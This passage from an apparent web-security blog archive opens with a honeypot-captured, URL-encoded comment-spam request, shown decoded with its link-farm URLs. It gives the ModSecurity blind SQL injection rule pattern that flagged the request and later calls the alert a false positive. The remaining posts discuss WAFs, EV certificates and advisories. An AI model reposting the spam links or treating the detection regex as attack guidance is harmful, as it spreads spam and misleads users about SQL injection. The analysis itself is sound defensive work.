%2Enet%2Fmap8%2Ehtml%20%3E%20favourite%20links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fahsjh
%2Efreephpwebhosting%2Enet%2Fmap7%2Ehtml%20%3E%20Links%20%3C%2Fa%3E%20%0D%0A%20%5Burl%3Dhttp%3A%2F
%2Fmembers%2Elycos%2Eco%2Euk%2Fdfska%2Fmap3%2Ehtml%5D%20top%20links%20%5B%2Furl%5D%20%20%5Burl%3D
http%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom%2Fmap3%2Ehtml%5D%20best%20links%20%5B%2Furl%5D%20%20%5B
url%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap5%2Ehtml%5D%20My%20Links%20%5B%2Furl%5D%20
%20%5Burl%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap1%2Ehtml%5D%20my%20favourite%20links
%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom%2Fmap6%2Ehtml%5D%20Links
%20%5B%2Furl%5D%20&textfield2=Michalis&textfield3=if%28%20md5%28%24password%29%20%3D%3D%20
%24row%5B%27user%5Fpassword%27%5D%20%26%26%20%24row%5B%27user%5Factive%27%5D%20%29&textfield4
=Your%20site%20was%20so%20interesting%20and%20informative%20I%20had%20to%20call%20a%20friend%20to%20
tell%20her%20about%20it%2E%20Great%20work%0D%0A%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2D
host%2Ecom%2Fmap4%2Ehtml%20%3E%20My%20Best%20Links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl
%2Efree%2Dsite%2Dhost%2Ecom%2Fmap2%2Ehtml%20%3E%20top%20links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp
%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap8%2Ehtml%20%3E%20favourite%20links%20%3C%2Fa%3E%20%20
%3Ca%20href%3Dhttp%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap7%2Ehtml%20%3E%20Links%20%3C%2Fa%3E
%20%0D%0A%20%5Burl%3Dhttp%3A%2F%2Fmembers%2Elycos%2Eco%2Euk%2Fdfska%2Fmap3%2Ehtml%5D%20top%20links
%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom%2Fmap3%2Ehtml%5D%20best%20
links%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap5%2Ehtml%5D%20
My%20Links%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap1%2Ehtml
%5D%20my%20favourite%20links%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom
%2Fmap6%2Ehtml%5D%20Links%20%5B%2Furl%5D%20&textfield32=if%28%20md5%28%24password%29%20%3D
%3D%20%24row%5B%27user%5Fpassword%27%5D%20%26%26%20%24row%5B%27user%5Factive%27%5D%20%29
&textfield5=Namibia%2C%20Guangzhou&textfield6=http%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap8%2E
html&textfield22=http%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap8%2Ehtml HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Referer: http://www.mehdiplugins.com/misc/phpbbjoomhack.htm
Host: www.mehdiplugins.com

If you URL Decode this text, you will get the following:

GET http://www.mehdiplugins.com/misc/phpbbjoomhack.htm?textfield=Your site was so interesting and informative I had to call a friend to tell her about it. Great work
 <a href=http://nwhjl.free-site-host.com/map4.html > My Best Links   <a href=http://nwhjl.free-site-host.com/map2.html > top links   <a href=http://ahsjh.freephpwebhosting.net/map8.html > favourite links   <a href=http://ahsjh.freephpwebhosting.net/map7.html > Links  
 [url=http://members.lycos.co.uk/dfska/map3.html] top links [/url]  [url=http://kersnm.awesomewebspace.com/map3.html] best links [/url]  [url=http://nwhjl.free-site-host.com/map5.html] My Links [/url]  [url=http://nwhjl.free-site-host.com/map1.html] my favourite links [/url]  [url=http://kersnm.awesomewebspace.com/map6.html] Links [/url] &textfield2=Michalis&textfield3=if( md5($password) == $row['user_password'] && $row['user_active'] )&textfield4=Your site was so interesting and informative I had to call a friend to tell her about it. Great work
 <a href=http://nwhjl.free-site-host.com/map4.html > My Best Links   <a href=http://nwhjl.free-site-host.com/map2.html > top links   <a href=http://ahsjh.freephpwebhosting.net/map8.html > favourite links   <a href=http://ahsjh.freephpwebhosting.net/map7.html > Links  
 [url=http://members.lycos.co.uk/dfska/map3.html] top links [/url]  [url=http://kersnm.awesomewebspace.com/map3.html] best links [/url]  [url=http://nwhjl.free-site-host.com/map5.html] My Links [/url]  [url=http://nwhjl.free-site-host.com/map1.html] my favourite links [/url]  [url=http://kersnm.awesomewebspace.com/map6.html] Links [/url] &textfield32=if( md5($password) == $row['user_password'] && $row['user_active'] )&textfield5=Namibia, Guangzhou&textfield6=http://ahsjh.freephpwebhosting.net/map8.html&textfield22=
http://ahsjh.freephpwebhosting.net/map8.html HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Referer: http://www.mehdiplugins.com/misc/phpbbjoomhack.htm
Host: www.mehdiplugins.com

The URL-decoded data makes it much easier to visually identify what the client was trying to do. This appears to be a SPAMMER show is sending their data to this destination in the hopes that it will be posted to the comment site where user will see it.

The bolded portion of the data triggered a ModSecurity Core Rule for Blind SQL Injection and generated this alert message:

Message: Access denied with code 200 (phase 2). Pattern match "\\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c
(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr
(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|
ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)
|object_(?:(?:nam|typ)e|id) ..." at ARGS:textfield3. [id "950904"] [msg "Blind SQL Injection Attack. Matched signature <user_password>"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/4.5"] [tag "OWASP/A6"] [tag "PCI/6.5.6"]

So, the matched portion of the text was this:

if( md5($password) == $row['user_password'] && $row['user_active'] )

What is this attempting to do? It appears that the SPAMMER is attempting to Bypass Authentication for the PHPBB form page. This actually makes sense when you think about it from a spammer's perspective. What is easier and less resource intensive? To either actually register for accounts on these sites to then allow them to post or to include this Blind SQL Injection Authentication Bypass string and not have to worry about authenticating at all? The later it seems is the case.

Update

We had more time to review this specific transaction and it appears to be a False Positive. It is not that the rule triggered on something that it shouldn't have, but rather that this was not an actual Blind SQL Injection attack.

The string that was matched is actually a PHP code snippet that was present in the page. It seems that the SPAMMER's script automatically included all of the hidden arguments in their request. I guess that instead of taking the time to code in the proper intelligence as to what fields are required for their request, it is just easier to "throw the kitchen sink" at it and included everything. Most web apps will not error out with extra parameters, however they will if you are missing require elements.

As a side note, at the same time were were conducting this internal analysis, we did recieve some feedback from the public re-affirming this theory (thanks kuza55 by way of Jeremiah Grossman's Blog). This does raise an important issue - we need help with data analysis! If you are interested in participating in the WASC honeypot project (even if you don't want to deploy an actual honeypot) then please let me know and we will get you signed up for the project mail-list. This way, we can get more eyes on these alerts for validation.

On June 12th, 2007, the CA/Browser Forum (a group that consists of leading certificate authorities and browser vendors) ratified the first version of the Extended Validation (EV) SSL Guidelines. The goal of the guidelines is to introduce a new type of certificate, Extended Validation Certificate, with intent to standardise the certificate issuance process.

Those of you that remember the early days of SSL certificates will find that the "new" process is pretty much identical to the one we had to undergo years ago. Things such as verifying legal existence, identity, registration number, right to use the domain name--are all there. There is one crucial difference, though. This time the process is mandatory whereas before, it turns out, it was merely a matter of choice. No wonder the quality of the vetting had deteriorated over the years as companies fought for the market by lowering prices.

There are many who do not like the new Extended Validation Certificates. They usually say the new type of certificate will not solve our problems. And that they are merely a way for the certificate authorities to extract more money from their customer base. While I agree with the former, I do not necessarily agree with the latter (but this is not to say the CAs will not be happy to collect the extra funds).

The point is that a solid vetting process should have been a mandatory requirement from the start. The fact that we missed the opportunity to do the right thing then does not mean we have to continue living with the mistake. It is true--the new certificate does fall short of solving our problems. But, guess what, that was never the intention. Citing from the EV Certificate Guidelines (page 13):

(c) Excluded Purposes EV Certificates focus only on the identity of the Subject named in the Certificate, and not on the behavior of the Subject. As such, an EV Certificate is not intended to provide any assurances, or otherwise represent or warrant:

1. That the Subject named in the EV Certificate is actively engaged in doing business;
2. That the Subject named in the EV Certificate complies with applicable laws;
3. That the Subject named in the EV Certificate is trustworthy, honest, or reputable in its business dealings; or
4. That it is "safe" to do business with the Subject named in the EV Certificate.

SSL certificates have nothing to do with trust. (Admittedly, it's a fact we didn't fully appreciate when they were introduced.) Their purpose is simply to identify the party on the other side of the communication channel. For trust we need to turn to other methods. Actually, we developed perfectly good methods to do this in real life. For example, most people take into account the brand name of the store or that of the manufacturer. You are going to be very comfortable buying from Amazon because you know the company. By the same token, you are probably going to think twice before buying from a badly-designed, badly-built web site you've just run across.

There is one aspect where Extended Validation Certificates fall short, and that's the implementation and the changes in the browser user interfaces. To accommodate the new type of certificate browsers have resorted to displaying the sites protected with such certificates in a slightly different way. There are two problems with this. One is that a normal user stands to gain very little from the change. The other is that, even for the small gain that can be achieved, a huge marketing effort is going to be required to explain the difference. This effort is not only going to be expensive but also take time--a lot of time. It something we can successfully do maybe once or twice in a decade. The EV Certificates are simply not worth it.

A far better solution would have been to, slowly and quietly, reform the certificate issuance process. Let the old certificates expire and start issuing better ones today. While that is happening figure out a way to deal with our real problems and inform the normal Internet users only once we are happy we've done the right thing.

The Universal PDF XSS vulnerability was a tipping point for most people involved with web application security. Now we know the Web will never be secure for as long we continue to use the exact same technologies we have in use today.

It so happened that I was swamped with work back in January when the news about the Universal PDF XSS had broken out. I kept my eye on the topic during the initial discovery period but I went back to it a month later to give it the attention it deserves. I discovered that the topic received a tremendous amount of interest initially but that the interest died shortly thereafter. The vulnerability was old news in February although there was much more to say.

My presentation, Protecting Web Applications from Universal PDF XSS, aims to be the one place where you can learn everything you need to know about this problem. It also points to an emerging trend of collaborative vulnerability research and briefly discusses its advantages and disadvantages. (As a sidenote, I find the trend very exciting and will probably revisit the topic here again.)

I gave the presentation at the OWASP conference in Milan in May but it has been updated since (so don't download it from the conference agenda page). You can download the latest version on the OWASP web site, from the web page dedicated to the problem. I will be giving the same talk later this month (June 22) for the OWASP Belgium-Luxemburg chapter.

This is a listing of Web Application Vulnerabilities that were released by SANS in their @RISK newsletter yesterday -

--------------
Summary of the vulnerabilities reported this week:
--------------
-- Web Application - Cross Site Scripting (8)
07.5.44 - ezDatabase Login.PHP Cross-Site Scripting
07.5.45 - Openads phpAdsNew Admin-Search.PHP Cross-Site Scripting
07.5.46 - 212cafeBoard Multiple Cross-Site Scripting Vulnerabilities
07.5.47 - Bitweaver Articles and Blogs Multiple Cross-Site Scripting Vulnerabilities
07.5.48 - 212Cafe Guestbook Show.PHP Cross-Site Scripting
07.5.49 - Openads for PostgreSQL Unspecified Cross-Site Scripting
07.5.50 - PostNuke Reviews Index.PHP Cross-Site Scripting
07.5.51 - Sabros.US Index.PHP Cross-Site Scripting

-- Web Application - SQL Injection (10)
07.5.52 - Makit Newsposter Script News_Page.ASP SQL Injection
07.5.53 - GPS CMS Print.ASP SQL Injection
07.5.54 - ASP News News_Detail.ASP SQL Injection
07.5.55 - ASP Edge User.ASP SQL Injection
07.5.56 - Drupal Acidfree Module Node Title SQL Injection
07.5.57 - Website Baker Login.PHP SQL Injection
07.5.58 - FishCart Olst Parameter SQL Injection
07.5.59 - Unique Ads Banner.PHP SQL Injection
07.5.60 - PHP-Nuke Multiple SQL Injection Vulnerabilities
07.5.61 - Joomla CMS Multiple SQL Injection Vulnerabilities

-- Web Application (34)
07.5.62 - CGI Rescue WebForm Multiple Input Validation Vulnerabilities
07.5.63 - High5 Review Script Search Field HTML Injection
07.5.64 - Virtual Path PHPBB Module Configure.PHP Remote File Include
07.5.65 - Digitalxero Xero Portal PHPBB_Root_Path Multiple Remote File Include Vulnerabilities
07.5.66 - Drupal Project and Project Issues Tracking Modules Multiple Vulnerabilities
07.5.67 - Community Server Pingback SourceURI Denial of Service and Information Disclosure
07.5.68 - AWFFull Unspecified Multiple Buffer Overflow Vulnerabilities
07.5.69 - Virtual Host Administrator Modules_Dir Remote File Include
07.5.70 - Wordpress Pingback SourceURI Denial of Service and Information Disclosure
07.5.71 - RPW Config.PHP Remote File Include
07.5.72 - phpXD Path Remote File Include
07.5.73 - MyBB Private.PHP HTML Injection
07.5.74 - MaklerPlus Multiple Unspecified Vulnerabilities
07.5.75 - Mini Web Server Unspecified Multiple Buffer Overflow Vulnerabilities
07.5.76 - BBClone Selectlang.PHP Remote File Include
07.5.77 - Yana Framework Guestbook Unspecified Security Bypass
07.5.78 - Vote! Pro Multiple PHP Code Execution Vulnerabilities
07.5.79 - PHP Link Directory Link Submission HTML Injection
07.5.80 - Zomp Index.PHP Local File Include
07.5.81 - PHPIndexPage Config.PHP Remote File Include
07.5.82 - Neon Labs Website NL.PHP Remote File Include
07.5.83 - XMB MemCP.PHP HTML Injection
07.5.84 - PHPSherpa Racine Parameter Remote File Include
07.5.85 - Upload Service Remote File Include
07.5.86 - Mafia Scum Tools Index.PHP Remote File Include
07.5.87 - WebChat Remote File Include
07.5.88 - Bradabra Includes.PHP Remote File Include
07.5.89 - Easebay Resources Paypal Subscription Manager Multiple Input Validation Vulnerabilities
07.5.90 - Easebay Resources Login Manager Multiple Input Validation Vulnerabilities
07.5.91 - SMF Index.PHP HTML Injection
07.5.92 - DocMan Multiple Input Validation Vulnerabilities
07.5.93 - ArsDigita Community System Directory Traversal
07.5.94 - VirtueMart Joomla ECommerce Edition Multiple Unspecified Input Validation Vulnerabilities
07.5.95 - WebGUI Registration Username HTML Injection

--------------
Mitigation Steps:
--------------
It is important to note that if you are running any of these web applications, you should do the following:

1) Check on the reference links for each vulnerability (SecurityFocus site, etc...) and verify if a patch is available. If one is, then proceed with implementing the patch ASAP.

2) Run a few tests to see if the example expoit code might be already captured by the current ModSecurity Core Rules files. There are already many different XSS/SQL Injection rules that probably would block the vast majority of these 2 categories of issues. If the Core Rules do not block these issues, then proceed to #3 (Virtual Patching).

3) Whether a patch is available or not, you should attempt to implement a ModSecurity "Virtual Patch" for the vulnerability. You can go about this in one of two ways -

First, the vulnerability information on SecurityFocus usually include an "exploit" tab for each vulnerability where exploit details/proof of concept code is often provided. You can take the example exploit code and then create a corresponding patch. The patch can either be a negative filter that blocks the underlying vulnerability vector. You can also, optionally, create a positive filter that will only allow acceptable character sets/lengths, etc...

Second, you can optionally head on over to the Snort.org site to see if they have released an IDS signatures for these vulnerabilities. If they have, you can then take the content/uricontent/pcre portions of the sigs and translate them into analagous ModSecurity rules.

Jeremiah Grossman gives an excellent overview of the top Web hacks of 2006. If you haven't been following the events as they unfolded last year this presentation alone will help you catch up.

Greetings everyone. My name is Ryan Barnett and I am the Director of Application Security Training for Breach Security. I am also a long time user of ModSecurity. I will be working closely with both Ivan and Ofer on ModSecurity development and rule updates, however my main area of focus is on effectively using ModSecurity. ModSecurity has so many cool new features, however many people aren't quite sure how to use them in their environment. That is where I come in. I will help to answer questions, update documentation and create specific use cases that highlight how to leverage ModSecurity to help protect your web apps.

So, check back here frequently for news, updates and tips and tricks.

Cheers.

It's very well known (and even widely accepted) that our current web application deployment model suffers from multiple security problems. We've done a lot to mitigate these problems over the years but there is only so much one can do when building on an insecure foundation. I have kept a list of things I'd like to see changed - I wrote about it this time last year.

Since then I placed my ideas in a somewhat coherent form and give it a name - Secure Browsing Mode. From the document:

It is widely accepted today that web applications are inherently insecure. A lot of energy was invested in the past years into making web applications more secure, but there is only so much we can do with the fundamentally insecure foundation. This brief document proposes a set of possible browser improvements that would allow us to establish, gradually, a secure environment for web applications.

Download PDF: Secure Browsing Mode

Amit Klein is at it again with the release of his new paper Domain Contamination. The paper discusses how the HTTP caching mechanisms we have in wide use today work equally well for distribution and preservation of malicious content.

In case you are not familiar with Amit's work, he is one of the most productive web application security researchers I know. But up until last week there was not a single place where you could find his papers. So I decided to collect them and upload them to http://www.modsecurity.org/archive/amit/. (With his permission, of course.)

I will be at the Institute of Directors tomorrow, giving a talk on threat modelling for the White Hats user group (full title of the talk: "Threat Modelling for Web Application Deployment"). As I was preparing for the talk I thought it would be a good idea to post the list of threat modelling resources online, for myself and for the others.

• Part I of Improving Web Application Security, Threats and Countermeasures, from Microsoft:

• Attack Modeling for Information Security and Survivability (PDF)
  
  
• OCTAVE (risk-based
  strategic assessment and planning technique for security)

• Collaborative Attack Modeling
  
  
• Attack Trees
  
  
• Systematic Network Vulnerability Analysis based on Attack Graphs (PDF)

• Book Managing Information Security Risks: The OCTAVE Approach
  
  
• Chapter 4 in Writing Secure Code

• Book Threat Modeling, also from Microsoft

• Free Threat Modelling Tool from Microsoft

• Threat Modeling Portal @ MSDN
  

(IN)SECURE Magazine Issue 1.5 has just been published. I wrote the cover story, titled "Web application firewalls primer". There are two sides to the article. In the first half I deal with the name web application firewall itself, and with the functionality behind the name. The second half is more straight-forward; it lists the most important features present in today's web application firewalls. Check it out!

The Web Application Firewall Evaluation Criteria (WAFEC) v1.0 has been released over the weekend. You can get it from here. WAFEC is a well-rounded effort to enumerate the features of web application firewalls (WAFs). I managed the project, but the work is a result of collaboration between many WAF vendors, WAF users, and security professionals. With WAFs being a very diverse subject getting a diverse group of people together was key to producing a good document. I am very happy v1.0 is out; we've been working on it for the largest part of 2005.

This document is a *must-read* if your intend to incorporate a WAF into your architecture (or consider it). It will not only help decide between the available offerings but it will also help you understand how is that these devices are protecting you. For more information go and fetch the document itself. You can also read through this NetworkWorld article. Or the press release.

Finally. I already wrote about many new features available in this release. Relieved from the pressure caused by a long delay between stable releases I can now go and add more features. (Goes away and looks at the TODO list.) Some of the things that are likely to find their way into ModSecurity in the near future are:

• Positive security model, backed by automatically generated rules.
  
• Per-rule configuration of normalisation techniques.
  
• Request rating.
  
• Stateful operation and session rating.
  

Hmmm, I wonder which of these I should do first. Have your say!

The web application firewall (WAF) market is a bit confusing at the moment since it is not clear exactly what WAF means. For a typical end-user it is not always easy to figure out what a WAF is supposed to do and, especially, how effective a WAF could be in solving a specific problem. Perhaps most emerging markets are like this. The tools are created out of necessity and because of the market demand. It is probably not possible to provide a very good definition in the early days.

Earlier this year we (the Web Application Security Consortium) invited a large team of security professionals to form a project with an aim to better define the web application firewall market. The Web Application Firewall Evaluation Criteria project was born. I am happy to announce that we have just made our first release. So far we have covered the following categories:

• Deployment Architecture
• HTTP Support
• Detection Techniques
• Protection Techniques
• Logging
• Reporting
• Management

Of course, this is just the beginning. The main purpose of our first release (officially called "Draft 1") is to invite the public to comment. If you care about web application firewalls then please give the draft a look and send us your thoughts. Better still, come and join us.

I received a heart-warming email from Roshen Chandran the other day: "A quick note to tell you I thoroughly enjoyed reading Apache Security. We have also made it part of our internal training program here at Paladion. --Roshen". It feels good to be appreciated. Roshen also pointed me to the Apache Security review on Palisade. A positive review aside, I was really pleasantly surprised with Palisade. It is a monthly online magazine that focuses on application security. The content is excellent, but the design and the format are fantastic. I urge you to have a look.

As some of you may know, I've been working on the portable web application firewall (WAF) rule format for ages. I really believe the concept has potential so I keep coming back to it, making it a little bit better on every visit. At the same time I am closely listening to the WAF market, hoping to jump in with the format just at the right time. Although I can (and will) implement the format in ModSecurity, what I really want is to get as many WAF vendors on board to support the format. That may not be the easiest thing to do so the timing is of real importance.

The idea behind the project is to design a portable WAF rule format capable of "fixing" the known security issues in web applications. While the only proper solution is always to fix the root cause of a security issue, we must acknowledge that the fix can not be implemented straight away (for all sorts of reasons, some legal, some technical, some practical). It is all about minimising the window of opportunity - we want to be able to prevent exploitation of a vulnerability practically as soon as it is discovered.

There are four usage scenarious (I am using the term recipe to refer to a unit of knowledge that contains enough information to prevent vulnerability from being exploited):

1. Vendor-provided recipes; While vendors may very well provide prompt upgrades and patches, not everyone can upgrade swiftly. Vendors may come to recognise this and decide to release protection recipes at the same time with the upgrades.
2. Third-party recipes; Providing there is strong demand, third-parties may decide to offer protection recipes, for free or for a fee.
3. Recipes written by hand; Larger environments may have many different brands of protection devices on their networks. Promoting a single format would enable knowledge to be shared in such environments.
4. Automated recipe generation; It is sometimes not feasible nor practical to manually assess security in web applications. It is possible to get assessment tools to talk directly to protection devices. A web vulnerability scanner that discovers a problem is likely to know enough about it to be able to create a recipe as a temporary measure. Such recipe could be installed manually, or after it is review by the system administrator or the application developer.

Several big improvements were made to the format in the last iteration:

• Specification formalised; Unlike before, when one had to rely on my notes to understand the specifics of the project, this time you will be presented with a formal specification (in draft, of course). The specification explains the motivation behind the effort and the technical aspects.
• Metadata included; The format was expanded to include recipe metadata. While the metadata is not very important for those who write recipes by hand, it is very important to allow for automation.
• Communication protocols added; A whole new section was added introducing recipe publishing, repositories, and the corresponding communication protocols.

To conclude, the project is now close to its first official release. Allowing some time for feedback from the interested parties, in the next step a "release candidate" specification will be released at the same time as the Java-based reference implementation.

A while ago Greg Murray (the Servlet specification lead) asked for ideas for Servlet improvements. I generally like the Servlet specification, but it seems that it is easy to encounter its limitations if you are trying to do things others have not tried before. My ideas for improvements come from my work on the Java version of ModSecurity (still work in progress):

• Server-wide filters/plugins. Servlet filters are a pretty capable technology but they are an application-level feature. I think it's ironic that we can add plug-ins to applications but that we still don't have a plug-in standard for Java web servers.

• Server-controlled buffering. Right now it is the application that controls buffering. In some cases (for example when you want to screen all output for security reasons) it is necessary to force buffering upon an application. This is possible to do now, with a filter, but it's not very efficient since buffering is done twice - once in the container and once in the filter. A configuration switch to enforce buffering, together with ability to have direct access to the buffer in the container would possibly offer significant performance enhancements.
  

I have been keeping a list of web security improvement ideas for some time now. It's a list that does not contain only my ideas but thoughts I picked up from others over the years. I have been showing the list to others lately, so I thought it would be a good idea to post it online too. I am posting it here straight from my notebook (you can probably tell from the lack of structure).

With some more work the proposed changes could help us with XSS, session hijacking, CSRF, and phishing. I think the improvements are entirely feasible, although realising them is no small task. The real question in my mind, though, is whether these improvements are sufficient to "solve" the problem of web security in its entirety. (Or at least be future-proof, i.e. compatible with future improvements that may be required.)

• Introduce a new concept called "Secure Web Application". The main purpose of this is to make it possible to break backward compatibility. The idea is to then market Secure Web Applications as *really* secure and everything else as potentially insecure. Visually, they should appear very different than the normal browsing experience. The rest of the ideas presented here apply only to Secure Web Applications.

• Add one new HTTP header, to contain an URI to a descriptor that contains more information about a Secure Web Application. The descriptor should allow application authors to exercise great control over what happens in a Secure Web Application. E.g. they may decide not to use client-side code at all. Or not accept Flash objects (the browser should then refuse to run them even if they appear in HTML).

• Browsers should remember the SSL certificate of a server upon the first visit of a web site. If the certificate changes browsers must refuse to communicate with the site.

• Only valid certificates should be acceptable for Secure Web Applications.

• Allow some mechanism for SSL certificates to be changed/upgraded. For example, the server could keep old certificates around to use them for the transition.

• Never use Basic authentication (because it sends passwords out in plain text). Allow only Digest authentication (does not send the passwords out at all) with mandatory server authentication (so the user knows he is at the right place).

• Form-based authentication must be integrated into browsers, and it too must be designed not disclose passwords (e.g use Digest auth). Clients must always authenticate servers. Some prior art available here: http://www.w3.org/TR/NOTE-authentform.

• Design a mechanism for explicit log-out. And a mechanism for session timeout (in the browser). Delete all session information after it is terminated.

• Make SSL mandatory (Secure Web Applications only, obviously).

• No information must go out of a web application (e.g. external links must not be followed, no requests from the client-side code)). No information must go into a web application. We may need to have designated input and output areas. We may allow the application to screen requests before allowing them.

• Separate cookies from session tokens, produce a new state maintenance RFC that is non-ambiguous. Session tokens are not to be accessed by client-side code. They mustn't be visible to the end user either. Make session tokens worthless by separating authentication from session management (e.g. require authentication to take place for every request). [Note: With some effort it is already possible to tie in session tokens to SSL session ids for added protection. But this is not portable, and I don't think SSL should be involved with session management anyway.]

Recently there has been increased interest in the impedance mismatch problem, which occurs between multiple layers of a HTTP stack (e.g. proxy/security/web server) when they interpret HTTP differently. If you recall, I wrote about it in March. Shortly after Sverre talked about his worries: Incompatible Parameter Parsing. Then, a few days ago, Watchfire released a detailed analysis of how to smuggle two requests in a transaction where there should be only one: HTTP Request Smuggling. Finally, yesterday Amit Klein posted a message to the web security list, subtitled "A survey of new attacks on the less explored parts of the web application".

This topic is of great interest to security professionals that work with HTTP (who isn't nowadays!). The more we talk about it the greater the understanding of the strengths and the weaknesses of layered approach to application protection. To the end users, this is another clear message they should work to deploy secure applications in the first place.

It always pays off to visit Richard Bejtlich's blog once in a while. (Or, even better, subscribe to his RSS feed and get updated in real-time.) A short visit today uncovered a plethora of information relevant to web application security and web application firewalls.

First, there is this post, where Richard shares a few thoughts from his discussion with Marcus Ranum, on the subject of proxies as security devices (which is what web application firewalls are).

Something Marcus said stroke a cord with me (emphasis mine):

"Proxies keep cropping up over and over, because they are fundamentally a sound idea. Every so often someone re-invents the proxy firewall - as a border spam blocker, or a 'web firewall' or an 'application firewall' or 'database gateway' - etc. And these technologies work wonderfully. Why? Because they're a single point where a security-conscious programmer can assess the threat represented by an application protocol, and can put error detection, attack detection, and validity checking in place."

You should also read Marcus' thoughts on deep packet inspection firewalls. Proxy-based application firewalls were hot stuff a decade or so ago but they lost to network firewalls. They came back to fashion as "web application firewalls" because of terrible insecurities present in most web applications today.

The other interesting post discusses the convergence of application firewalls and network firewalls, in response to the extensive coverage of network firewalls at the Network Computing magazine. The basic sentiment is that application firewalls and intrusion prevention are just network firewall features, and that customers simply do not want or need to run two devices.

The slides from the OWASP AppSec Europe 2005 conference are now available online. All the sessions are excellent, but I'd like to bring a couple to your attention.

Jeff Williams, the OWASP Chair, gave a talk called OWASP Status / Reorganization, but he spent more time discussing the fundamental application security problems we are facing today. Very effectively, comparing application security to the past of the automobile market, he explained where we are, and gave some ideas where we might want to go. The star of the presentation is the idea to force vendors to explicitly declare the level of security of their applications. (The label to the right is from the presentation. It provoked a healthy laugh and an applause from the audience when it appeared on the screen.) I must say, this is a *very* interesting idea. Provided a nice list of guidelines exists (OWASP is certainly capable of drafting such a list), this approach could force the vendors to come out in the open. I also like the idea of third-party certification for this kind of thing.

Arian Evans gave two talks: Application Security Assessment Tools: An Overview of Available Testing Tools and Advanced Defense Techniques against Web Application State and Session Management Threats. His talks are interesting because he is a fun guy to listen to, but also because he presents the listeners with a *lot* of raw facts, and then leaves them to draw their own conclusions.

Last weekend I attended the OWASP AppSec 2005 Europe here in London. I was there to give two talks, meet the people I only knew from email, and listen to the other speakers. When a conference is not aligned with my interests I tend to only come for the day(s) I speak on. This time, however, I was interested very much in what the others had to say! The experience has been great - two days filled with interesting talks and charismatic people. I hear the others had similar views of the event. On Saturday there was a dinner organised at a hotel/restaurant nearby. I was looking forward to attending but then had to be elsewhere that afternoon. That's the trouble when you live at the same place where the conference is being held.

I have uploaded my talks to the Thinking Stone web site: Apache Web Platform Security and Web Intrusion Detection With ModSecurity. I'll post again when the other presentations appear on the OWASP web site - there are some very interesting ones.

Web application firewalls have a difficult job trying to make sense of data that passes by, without any knowledge of the application and its business logic. The protection they provide comes from having an independent layer of security on the outside. Because data validation is done twice, security can be increased without having to touch the application. In some cases, however, the fact that everything is done twice brings problems. Problems can arise in the areas where the communication protocols are not well specified, or where either the device or the application do things that are not in the specification.

The worst offender is the cookie specification. (Actually all four of them: http://wp.netscape.com/newsref/std/cookie_spec.html, http://www.ietf.org/rfc/rfc2109.txt, http://www.ietf.org/rfc/rfc2964.txt, http://www.ietf.org/rfc/rfc2965.txt.) For many of the cases possible in real life there is no mention in the specification - leaving the programmers to do what they think is appropriate. For the largest part this is not a problem when the cookies are well formed, as most of them are. The problem is also very obvious because most applications only parse cookies they themselves send. It becomes a problem when you think from a point of view of a web application firewall, and a determined adversary trying to get past it. I’ll explain with an example.

In the 1.8.x branch and until 1.8.6 (I made improvements in 1.8.7), ModSecurity used a v1 cookie parser. When I wrote the